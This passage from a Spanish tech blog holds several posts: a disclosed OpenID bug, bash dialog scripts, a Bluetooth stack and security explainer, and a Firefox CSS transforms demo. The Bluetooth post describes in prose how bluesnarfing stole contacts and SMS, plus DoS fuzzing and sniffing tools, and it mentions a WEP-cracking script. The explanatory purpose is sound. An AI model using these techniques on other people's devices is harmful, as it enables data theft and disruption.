Sin embargo, al ver la peligrosidad de este agujero de seguridad, decidí contactar con Julio Alonso, de Weblogs SL, quien me pasó con su CTO, un tal “Klaas Naaijkens”, le expliqué el problema, le pasé el exploit de demostración, y en un día estaba solventado.

Sin embargo, esa implementación de OpenID tiene aún algunos CSRF peligrosos, pero el bug mas serio ya está parcheado.

Esto me lleva a una pregunta: ¿Es que nadie mas ha auditado nunca el servidor OpenID que utilizan blogs tan importantes como genbeta? Me imagino que no.

Al menos me siento bien, he contribuido a solventar un bug bastante importante, lo único malo, es que el software ya no lo mantiene nadie, y no consigo contactar con el autor, para que haga un parche que puedan utilizar todos los sites que utilicen este software.

Un saludo a Klaas y a Julio, que han sido muy atentos y han solventado el bug muy rapidamente, así que el tiempo desde que encontré la vulnerabilidad, hasta que estubo solventada, fue muy pequeño, ojalá fuese siempre así.

Interfaces gráficas al vuelo

Sin lugar a dudas, la tarea mas tediosa de crear un programa, es crear la interfaz gráfica, sobretodo cuando el programa es un script hecho en un rato, que pretende resolver alguna necesidad puntual, de forma sencilla y concisa.

Normalmente, nos encontramos que para crear un par de ventanas preguntando algo al user y eliminar algún archivo y crear una carpeta, tenemos que programar 4 lineas para lo que de verdad hace el programa, y 40 para la interfaz gráfica.

Para evitar esto, nació dialog, una pequeña aplicación que al ser ejecutada, permite pasarle ciertos parámetros que le indican como debe pintar una ventana, la dibuja, y según lo que haga el usuario, el comando devuelve una cosa u otra.

Para entrar mas en detalle, probamos el siguiente comando:

dialog –stdout –title “Selecciona un archivo” –fselect $HOME/ 14 48

Esto nos dibuja una ventana mediante ncurses, que nos permite seleccionar un fichero.

Utilizando esto, se pueden crear pequeños scripts en bash, por ejemplo, que realicen tareas y permitan interactuar al usuario.

Como la idea tubo bastante éxito, se creó Xdialog, que hace lo mismo pero pintando ventanas con GTK, y kdialog que hace lo mismo pero pintando ventanas mediante Qt.

Como para entender las cosas, lo mejor es un buen ejemplo, he creado un pequeño script en bash, que primero comprueba si estamos en las X, si no lo estamos, utiliza dialog, si lo estamos, comprueba si tenemos kdialog para utilizarlo, y si no lo tenemos, usa Xdialog.

#!/bin/bash

if [ -z $DISPLAY ]
then
DIALOG=dialog
else
if command -v kdialog &>/dev/null
then
DIALOG=kdialog
else
DIALOG=Xdialog
fi
fi

$DIALOG –title “Mi primer dialogo” \
–yesno “Si o no?” 10 30

case $? in
0)
echo “Has escogido si!!”;;
1)
echo “Has escodigo no!!”;;
255)
echo “Has cerrado el dialogo, sin decir si o no!!”;;
esac

Este script hace una pregunta, y luego printea por consola la respuesta que hemos escodigo.

Y este es el resultado que vemos usando kdialog.

Otro script que pregunta al usuario por su nombre, y muestra una caja de entrada:

#!/bin/bash

if [ -z $DISPLAY ]
then
DIALOG=dialog
else
if command -v kdialog &>/dev/null
then
DIALOG=kdialog
else
DIALOG=Xdialog
fi
fi

tempfile=`tempfile 2>/dev/null` || tempfile=/tmp/test$$
trap “rm -f $tempfile” 0 1 2 5 15

$DIALOG –title “Un ejemplo con una caja de entrada” \
–inputbox “Caja de entrada de ejemplo:” 16 51 2> $tempfile

retval=$?

case $retval in
0)
echo “Input string is `cat $tempfile`”;;
1)
echo “Cancel pressed.”;;
255)
if test -s $tempfile ; then
cat $tempfile
else
echo “ESC pressed.”
fi
;;
esac

Cabe decir que kdialog no es completamente compatible con dialog y Xdialog, por lo que puede que os encontréis con problemas al intentar utilizar uno u otro de forma transparente.

Como curiosidad, conozco un par de scripts interesantes hechos con dialog, uno de ellos es un script hecho por un conocido mio, que sirve para crackear redes wireless que utilicen seguridad WEP, sin tener que teclear ningún comando:

Airfoncrack

Y aquí tenemos otro ejemplo de como utilizar kdialog y curl para crear una aplicación visual que permite agregar notas a twitter.

Un vistazo profundo a bluetooth y su seguridad

Como ya he dicho en anteriores entradas, la seguridad es una ciencia a la merced de las modas, a diferencia de lo que cree mucha gente, no existe nadie que se asegure de que todo sea seguro, no existen mil ojos mirando cada código de software libre, ni existen mil ojos mirando cada nuevo protocolo, no es así.

En realidad, hay poca gente que audite código, hay poca gente que se baje el código de openssl, y le busque problemas de seguridad, y la poca gente que hay: se mueve por modas. (o intereses comerciales)

Si digo todo esto, es por que mientras que a bluetooth no se le han encontrado prácticamente problemas de seguridad reales, a las redes wireless (802.11) se le han encontrado una gran cantidad de ellos.

Esto podría llevarnos a pensar que bluetooth es mas seguro que 802.11, pero en realidad no es así, en realidad es que bluetooth no lo ha examinado casi nadie a fondo, y 802.11 tiene mil ojos encima.

Y sobre eso va a tratar este artículo, sobre como funciona bluetooth y que posibles problemas de seguridad tiene.

Bluetooth es un protocolo de comunicación inalámbrica de corto alcance, es decir, un protocolo que permite comunicar sin cables, distintos dispositivos que estén cerca el uno del otro, diseñado y mantenido por el “SIG” (Bluetooth Special Interest Group) el cual es una asociación de empresas las cuales tienen un interés en esta tecnología.

Dicho de otra manera mucho mas coloquial: bluetooth es como una pequeña red wireless de corto alcance.

En nuestra vida real, estamos rodeados de bluetooth por todas partes, se suele utilizar en dispositivos de manos libre, auriculares, teclados…y sobretodo, con mucha diferencia, en móviles.

En los móviles es donde mas éxito ha tenido bluetooth, ya que permite que dos móviles intercambien datos (fotos, música, contactos…) de forma fácil y rápida, además permite que puedas acceder a los archivos de tu móvil desde tu ordenador.

Bluetooth en realidad, es una pila de protocolos, siendo el protocolo de mas abajo el que se encarga de los temas de ondas de radio etc y los protocolos de mas arriba los que se encargan de direccionamiento, datos, etc.

Empezando por abajo en la pila, tenemos el protocolo “Bluetooth Radio”, el cual define como funciona la parte de radio de bluetooth, entre otras cosas define que bluetooth funciona a 2.4GHz, la misma frecuencia que utiliza 802.11.

Una vez dos dispositivos se entienden, por que utilizan la misma frecuencia y reglas definidas por “Bluetooth Radio”, existen dos protocolos en bluetooth que ya pueden funcionar cuando se cumple ese protocolo: LMP y L2CAP.

LMP es el protocolo que se encarga de la conectividad entre dos dispositivos bluetooth, temas de calidad del servicio, etc.

Una característica importante de LMP, es que bluetooth se mueven entre 79 frecuencias diferentes, separadas cada una por 1mhz, cuando dos dispositivos bluetooth quieren hablarse por radio, primero hablan mediante una frecuencia predefinida, conocida como “control channel” (canal de control) y usando ese canal, acuerdan en que orden van a utilizar las 79 frecuencias disponibles, esto significa, que se ponen de acuerdo, por ejemplo, en decir: te enviaré el primer paquete por la 39, el segundo por la 45, el tercero por la 78…y así hasta utilizar los 79 canales y volver a empezar la secuencia.

La secuencia utilizado, se genera de forma aleatoria y se ponen de acuerdo en cual usar, mediante el canal de control, esta técnica se conoce como FHSS.

Bluetooth utiliza este mecanismo de ir saltando entre frecuencias, para complicar (como veremos mas adelante) el tema de que alguien se ponga a sniffear la conversación entre dos dispositivos.

Una vez LMP ha establecido el enlace radio, entre dos dispositivos, entra en juego el siguiente protocolo, L2CAP.

L2CAP es un protocolo que define una serie de puertos que se pueden utilizar para mandar y recibir datos mediante las capas de abajo, es decir, define una forma en la que varias aplicaciones pueden enviar datos y recibir datos utilizando las ondas de radio de bluetooth, sin confundir de quien es que, de la misma forma que tcp/ip permite que una misma ip, pueda enviar y recibir datos por el mismo cable, para distintas aplicaciones a la vez, haciendo uso de los “puertos”, por ejemplo, servidores web utilizan el puerto 80, y así, el tráfico de la web, se puede distinguir del tráfico ftp, que va por el puerto 21, aunque en realidad, todo son pulsos eléctricos por el mismo cable.

L2CAP dispone de 32767 puertos, disponibles para que las aplicaciones los utilicen, al comunicarse mediante bluetooth.

Y ya por encima de L2CAP trabaja RFCOMM un protocolo que emula las conexiones por puerto serie, dispone de 30 puertos (1 al 30) y solo puede gestionar 6 conexiones como máximo a la vez.

Supongo que después de toda al explicación, uno anda un poco perdido, pero para simplificarlo, voy a hacer una equivalencia entre las redes cableadas normales, y bluetooth, para que se vea claramente donde encaja y que hace cada protocolo:

  • “Blueooth Radio” sería el cable en si mismo
  • L2CAP sería ethernet
  • RFCOMM sería TCP/IP

Por lo cual, a las aplicaciones que se comunican usando bluetooth, les suele preocupar únicamente RFCOMM, igual que a tu navegador, le preocupa tcp/ip, y no si por debajo hay bluetooth, ethernet, o una red wireless 802.11.

Hay un concepto que nos hemos dejado en el aire, y que aparece en el gráfico: Host Controller Interface (HCI).

El HCI es la forma en la que el ordenador (o el móvil) se comunica con el dispositivo bluetooth, es decir, los dispositivos bluetooth, por ejemplo esos pequeños dispositivos usb que conectas a tu ordenador para disponer de bluetooth, tienen dentro un microprocesador, una memoria, registros, y areas de memoria donde se almacena un pequeño programa, llamado firmware, que se ejecuta dentro del procesador que tiene dentro el bluetooth, y que se encarga del tema del LMP, los saltos entre frecuencia, la conectividad por radio, etc, todos los temas de radiofrecuencia a bajo nivel.

Mientras que el L2CAP se ejecuta en el ordenador, no en el dispositivo usb, por lo cual debe existir una forma de comunicar el ordenador y con el dispositivo usb, que es quien gestiona los temas de radio.

Ese protocolo se llama HCI, para verlo mas claro:

Como se puede observar, podríamos resumir una conexión bluetooth como:

  1. Un programa en el ordenador, pide conectarse a un dispositivo bluetooth, en el puerto X
  2. La librería bluetooth del sistema, habla con el driver bluetooth
  3. El driver bluetooth, mediante HCI, habla con el dispositivo bluetooth conectado al USB
  4. El dispositivo bluetooth, inicia una comunicación por radio con el dispositivo al que queremos conectar.
  5. Mediante el canal de control, acuerdan el orden en el que van a utilizar las 79 frecuencias de radio que tienen disponibles.
  6. Ya tienen conectividad, por lo que la aplicación puede enviar datos mediante bluetooth, los cuales los recibirá el driver bluetooth, e irán a parar mediante el HCI (el enlace entre el dispositivo y el ordenador) al dispositivo bluetooth, que los convertirá en ondas de radio, y llegarán al otro dispositivo, donde sucederá todo el camino, a la inversa, hasta llegar a la aplicación que está escuchando en el otro lado.

Despues de haber visto como funciona bluetooth, sabemos que es algo muy similar a ethernet+tcp/ip, aunque con ciertas particularidades.

En primer lugar, bluetooth nos permite escanear los dispositivos que hay alrededor nuestro con bluetooth habilitado, para poder comunicarnos con ellos, sin embargo bluetooth no existen direcciones IP, se usan las direcciones MAC de los dispositivos directamente, el problema es que los seres humanos tienen problemas para memorizar direcciones IP, en el caso de TCP/IP y direcciones MAC, en el caso de bluetooth, por lo que si escaneamos en busca de dispositivos cercanos, para transferir una foto al móvil de un amigo, y nos aparecen direcciones MAC, no sabremos de todos los que aparezcan, cual es el móvil de nuestro amigo.

Por ello, bluetooth dispone de un concepto llamado “Nombre de dispositivo”, cuando un dispositivo bluetooth escanea en busca de dispositivos bluetooth cercanos, los dispositivos cercanos que contestan al escaneo, le indican cual es su nombre de dispositivo, y ese será el que aparezca en la lista, una vez finalizado el escaneo.

El nombre de dispositivo, es algo que puede configurar el usuario, en telefonía móvil, por defecto, el nombre de dispositivo es el modelo del teléfono, por ejemplo: Nokia N70.

Una vez el dispositivo tiene una lista de los dispositivos cercanos, puede consultar que “servicios” provee un determinado dispositivo, es decir, de la misma forma que un ordenador puede tener un servidor web instalado, un dispositivo bluetooth puede tener servicios que se pueden utilizar a través de el, o dicho de otra forma: existe un ftp a través de bluetooth, y se llama OBEX.

Obex es un pequeño protocolo que especifica como intercambiar archivos entre dos dispositivos bluetooth, todos los móviles modernos llevan instalado un servidor obex en algún puerto RFCOMM.

Sin embargo, como solo existen 30 puertos RFCOMM (el equivalente a tcp/ip en bluetooth), a diferencia de ftp, que se utiliza normalmente el puerto 21, no existe ningún puerto por defecto para Obex FTP, ya que hay muchos mas protocolos (no solo existe obex) que funcionan sobre bluetooth, que puertos disponibles tienen rfcomm (30), así que lo que se hace, es que existe un servicio llamado SDP que está instalado en todos los dispositivos bluetooth, y que cualquier otro dispositivo bluetooth, se puede conectar a el, y consultar que servicios tiene un dispositivo, y en que puertos rfcomm están.

Para salir un poco de tanta teoría, usando un dispositivo bluetooth usb, voy a conectarme al servicio SDP de mi móvil (un LG KU380) para consultar que servidores accesibles desde bluetooth tiene instalados, y en que puertos están.

Para ello, lo primero que voy a hacer es escanear en busca de dispositivos bluetooth cercanos:

jcarlosn@localhost:~$ hcitool scan
Scanning …
00:1F:6B:E2:24:96    Rooibo
jcarlosn@localhost:~$

Me aparece mi móvil, que tiene de nombre de dispositivo: Rooibo, y su dirección MAC: 00:1F:6B:E2:24:96, ahora, sabiendo su dirección MAC, puedo conectarme a su servidor SDP, y consultar que servicios tiene:

jcarlosn@localhost:~$ sdptool browse 00:1F:6B:E2:24:96
Browsing 00:1F:6B:E2:24:96 …
Service Name: OBEX Object Push
Service RecHandle: 0×10000
Service Class ID List:
“OBEX Object Push” (0×1105)
Protocol Descriptor List:
“L2CAP” (0×0100)
“RFCOMM” (0×0003)
Channel: 6
“OBEX” (0×0008)
Language Base Attr List:
code_ISO639: 0×656e
encoding:    0×6a
base_offset: 0×100
Profile Descriptor List:
“OBEX Object Push” (0×1105)
Version: 0×0100

Service Name: OBEX File Transfer
Service RecHandle: 0×10001
Service Class ID List:
“OBEX File Transfer” (0×1106)
Protocol Descriptor List:
“L2CAP” (0×0100)
RFCOMM” (0×0003)
Channel: 7
“OBEX” (0×0008)
Language Base Attr List:
code_ISO639: 0×656e
encoding:    0×6a
base_offset: 0×100
Profile Descriptor List:
“OBEX File Transfer” (0×1106)
Version: 0×0100

Service Name: LG Sync SPP
Service RecHandle: 0×10002
Service Class ID List:
“Serial Port” (0×1101)
Protocol Descriptor List:
“L2CAP” (0×0100)
“RFCOMM” (0×0003)
Channel: 16
Language Base Attr List:
code_ISO639: 0×656e
encoding:    0×6a
base_offset: 0×100
Profile Descriptor List:
“Serial Port” (0×1101)
Version: 0×0100

Service Name: LG Audio Gateway
Service RecHandle: 0×10003
Service Class ID List:
“Headset Audio Gateway” (0×1112)
“Generic Audio” (0×1203)
Protocol Descriptor List:
“L2CAP” (0×0100)
“RFCOMM” (0×0003)
Channel: 3
Language Base Attr List:
code_ISO639: 0×656e
encoding:    0×6a
base_offset: 0×100
Profile Descriptor List:
“Headset” (0×1108)
Version: 0×0100

Service Name: LG Audio Gateway
Service RecHandle: 0×10004
Service Class ID List:
“Handsfree Audio Gateway” (0×111f)
“Generic Audio” (0×1203)
Protocol Descriptor List:
“L2CAP” (0×0100)
“RFCOMM” (0×0003)
Channel: 4
Language Base Attr List:
code_ISO639: 0×656e
encoding:    0×6a
base_offset: 0×100
Profile Descriptor List:
“Handsfree” (0×111e)
Version: 0×0105

Service Name: LG Dial-up Networking
Service RecHandle: 0×10005
Service Class ID List:
“Dialup Networking” (0×1103)
Protocol Descriptor List:
“L2CAP” (0×0100)
“RFCOMM” (0×0003)
Channel: 8
Language Base Attr List:
code_ISO639: 0×656e
encoding:    0×6a
base_offset: 0×100
Profile Descriptor List:
“Dialup Networking” (0×1103)
Version: 0×0100

jcarlosn@localhost:~$

Son muchos servicios, pero si nos fijamos en lo que he puesto en negrita, podemos ver que hay un servidor OBEX FTP en el puerto 7 rfcomm.

Ademas hay otro servidor OBEX Object Push en el puerto 6, este otro protocolo también de obex, es similar a OBEX FTP (el cual es muy similar a un servidor ftp normal) pero mas simple, no permite listar el contenido de los directorios, y permite simplemente transferir archivos de uno en uno, estilo tftp.

Obex FTP se utiliza, normalmente, para comunicar el ordenador con el móvil, creando un directorio virtual, donde el contenido que vemos, es el del teléfono, mientras que Obex Object Push, se utiliza habitualmente para transferir contactos, imágenes, música, etc… entre dos móviles.

Sin embargo, tener en el móvil algo similar a un servidor ftp, y algo similar a un servidor TFTP, puede parecer peligroso, sin embargo, el móvil no permite que nadie se conecte a su servidor Obex Object Push, si el dueño del teléfono no acepta la conexión (le aparece una pregunta por pantalla, de si quiere aceptar el archivo), y para mas seguridad, para aceptar una conexión al servidor Obex FTP, se ha de introducir un número en el móvil, que hace las veces de contraseña, y luego introducir el mismo número en el dispositivo que intenta conectarse al servidor Obex FTP.

Es decir, que cuando a alguien le aparece en el móvil que existe un dispositivo que intenta conectarse a el (a su servidor Obex FTP) el dueño del móvil debe aceptarlo, y además, deberá pensar algún número aleatorio, e introducirlo en la caja de texto que le aparece, entonces, debe introducirse ese mismo número, en el dispositivo que intenta conectar.

Ese número se utiliza para cifrar los datos de la conexión.

Ahora que ya sabemos como va todo esto, podemos echar un vistazo al pasado…

Seguramente todos habéis oído hablar de vulnerabilidades que permiten robar información de los móviles vía bluetooth, la forma mas famosa es conocida como “bluesnarf“, la cual se basa en que algunos viejos móviles no requerían que el dueño del teléfono aceptase la conexión, para que un tercero, se conectase a su servidor Obex Object Push.

Por lo cual, lo que hacían era conectarse a tu teléfono vía bluetooth, consultar el servicio sdp para saber si hay algún servidor Obex Object Push, y saber en que puerto está, conectarse a el, y pedir los archivos de la libreta de contactos, los sms, etc…así de simple, simplemente se basa en utilizar un servidor instalado en el móvil, en un puerto bluetooth.

Ademas, algunos móviles permiten que se les envíen contactos vía bluetooth sin requerir confirmación, y ahí nació otro conecto: el bluejacking.

El bluejacking, a diferencia del bluesnarfing, no busca robar información de nadie, simplemente se basa en que alguien coge un móvil, va por la calle escaneando en busca de dispositivos bluetooth cercanos, y cuando encuentra alguno, le manda un contacto vía Obex Object Push, y en el nombre del contacto, pone alguna frase. Cuando el otro lo recibe y lo ve, lee la frase que hay en el campo nombre.

A raíz de esto aparecieron pequeñas aplicaciones (midlets) en java para móviles, que permiten definir un mensaje, y escanean sin parar vía bluetooth, envíando ese mensaje en forma de contacto, a todos los móviles con los que te cruzas. Una de ellas es EasyJack, disponible aquí.

Cuando los fabricantes de telefonos móviles reaccionaron, y empezaron a requerir que el usuario acepte la conexiones al servidor Obex Object Push, y que haga falta poner un PIN y todo eso, para conectar al servidor Obex FTP del telefono, el hacking a dispositivos bluetooth pasó a ser historia del pasado.

Sin embargo, se crearon algunas nuevas ideas para atacar móviles con bluetooth, la primera es el DoS, que consiste en buscar formas de clavar o congelar el móvil, a base de mandarle paquetes L2CAP malformados, o cosas similares.

Entorno a esta idéa, salieron varios bugs publicados, como este, que envíando paquetes L2CAP malformados, el móvil se congela hasta que lo reinicies.

Además, apareció una herramienta para GNU/Linux que, llamada bss, que crear paquetes L2CAP malformados sin parar, y los envía a la dirección bluetooth que le indiques, si en algún momento el móvil le deja de contestar los paquetes bluetooth, te dice el paquete que ha provocado que el móvil pete, con esta herramienta sacaron la mayoría de bugs de DoS a móviles.

La otra vertiente por la que se empezó a explorar la seguridad bluetooth, fue la de que ya que bluetooth son ondas de radio, nada nos debería impedir poder sniffear todas las ondas que llegan a nuestro receptor, y de ahí, espiar conversaciones bluetooth, etc.

Sin embargo, para eso existe un problema, el FHSS comentado mas arriba, es decir, el hecho de que bluetooth utiliza 79 frecuencias diferentes, entre las que va saltando de forma aleatoria, y solo el emisor y el receptor que acordaron esos saltos, saben el orden en el que se producen.

Para un dispositivo bluetooth normal, es imposible escuchar en 79 frecuencias distintas a la vez, por las que pueden estar saltando el emisor y el receptor, y a menos que conozca el orden en el que saltan, no conseguirá nada.

Sin embargo, había gente que insinuaba que se podía sniffear usando un dispositivo bluetooth normal, aún y con el problema de las 79 frecuencias, por lo cual, Max Moser, se decidió a escribir un pdf intentando desvelar si eso era posible o no.

En el PDF, utiliza un producto privativo, llamado FTS4BT, de la empresa FrontLine, que consiste en un firmware modificado para los bluetooth con chipset CSR (Cambridge Silicon Radio), un driver .sys para windows, y un programa que interactúa con el driver.

Después de eso, no tardó en aparecer un tutorial paso a paso para linux para modificar tu bluetooth usb con ese firmware.

Al poco tiempo, salió un nuevo paper sobre el tema, bastante mas completo, y muchísimo mas técnico, bastante interesante.

Y hasta aquí ha llegado la ciencia de la seguridad en bluetooth, hace relativamente poco (un año) que el sniffing en bluetooth es algo extendido, por lo cual, habrá que esperar que se consigue con esta nueva posibilidad.

La verdad, es que he intentado hacer este documento lo mas simple posible, pero creo que no lo he conseguido, en el fondo es un tema complejo, aunque espero haber contribuido un poco en un tema tan indocumentado como este.

Transformaciones CSS agregadas en Firefox 3.1

La web 2.0 requiere cada vez tecnologías mas potentes en los navegadores, requiere que el javascript se ejecute mas y mas rápido, y requiere nuevos y mejores elementos html, y en toda esta carrera por superar las barreras impuestas por las tecnologías en los navegadores, uno de los últimos pasos han sido los “CSS transforms”, o dicho mas llanamente: Transformaciones CSS.

La transformaciones CSS son unas nuevas propiedades disponibles para utilizar en nuestras hojas de estilo, propuestas por el equipo de WebKit hace un año, dichas propiedades permitirían aplicar ciertos efectos, como rotaciones y escalados, a nuestros elementos HTML.

Las primeras noticias acerca de estas nuevas propiedades CSS (no estándares, evidentemente) que salieron para WebKit incluían ciertos ejemplos de lo que se podía hacer, bastante atractivos, como crear un iframe, cargar una página dentro, y rotarlo 90º:

Sin embargo, el hecho de que no estuviesen disponibles en Firefox, era desalentador, hasta hace poco, que mozilla anunció que las transformaciones CSS estaban ya disponibles en firefox 3.1.

Antes de continuar, si queréis bajar el último firefox 3.1, y probarlo, se puede descargar precompilado de aquí:

http://ftp.mozilla.org/pub/mozilla.org/firefox/nightly/latest-trunk/

Si no queremos que esto afecte a nuestra configuración actual de firefox, en linux podemos hacer:

mv ~/.mozilla ~/.mozillaBack

Y renombrar el nombre del directorio donde se guardan nuestras configuraciones de firefox, a .mozillBack, ahora extraemos el firefox 3.1 precompilado, lo ejecutamos, y el creará su nuevo .mozilla, el cual podremos borrar y sustituir por nuestro .mozillaBack en cuanto queramos regresar a firefox estable, haciendo:

mv ~/.mozillaBack ~/.mozilla

Con nuestro nuevo firefox 3.1 listo, ya podemos adentrarnos un poco mas en las transformaciones CSS, la documentación completa de estas nuevas propiedades CSS está aquí:

http://developer.mozilla.org/En/CSS/CSS_transform_functions

Así que vamos a probar a hacer algo, por ejemplo, rotar un iframe 45º sobre si mismo:

<html>
<head>
<title>Prueba de rotación</title>
</head>
<body>
<iframe style=”-moz-transform: rotate(45deg); -moz-transform-origin: bottom left;” src=”http://rooibo.wordpress.com/” width=”600px” height=”600px” />
</body>
</html>

La verdad es que es bastante fácil, aquí podéis verlo en funcionamiento:

http://eyeideas.es/rotacion.html

Y aquí una imagen de como se me renderiza a mi en mi Firefox 3.1:

Los resultados son bastante buenos, habrá que esperar a ver cuanto se extienden estas nuevas propiedades CSS, que hace Internet Explorer y todo eso…el clásico problema en el mundo de los navegadores.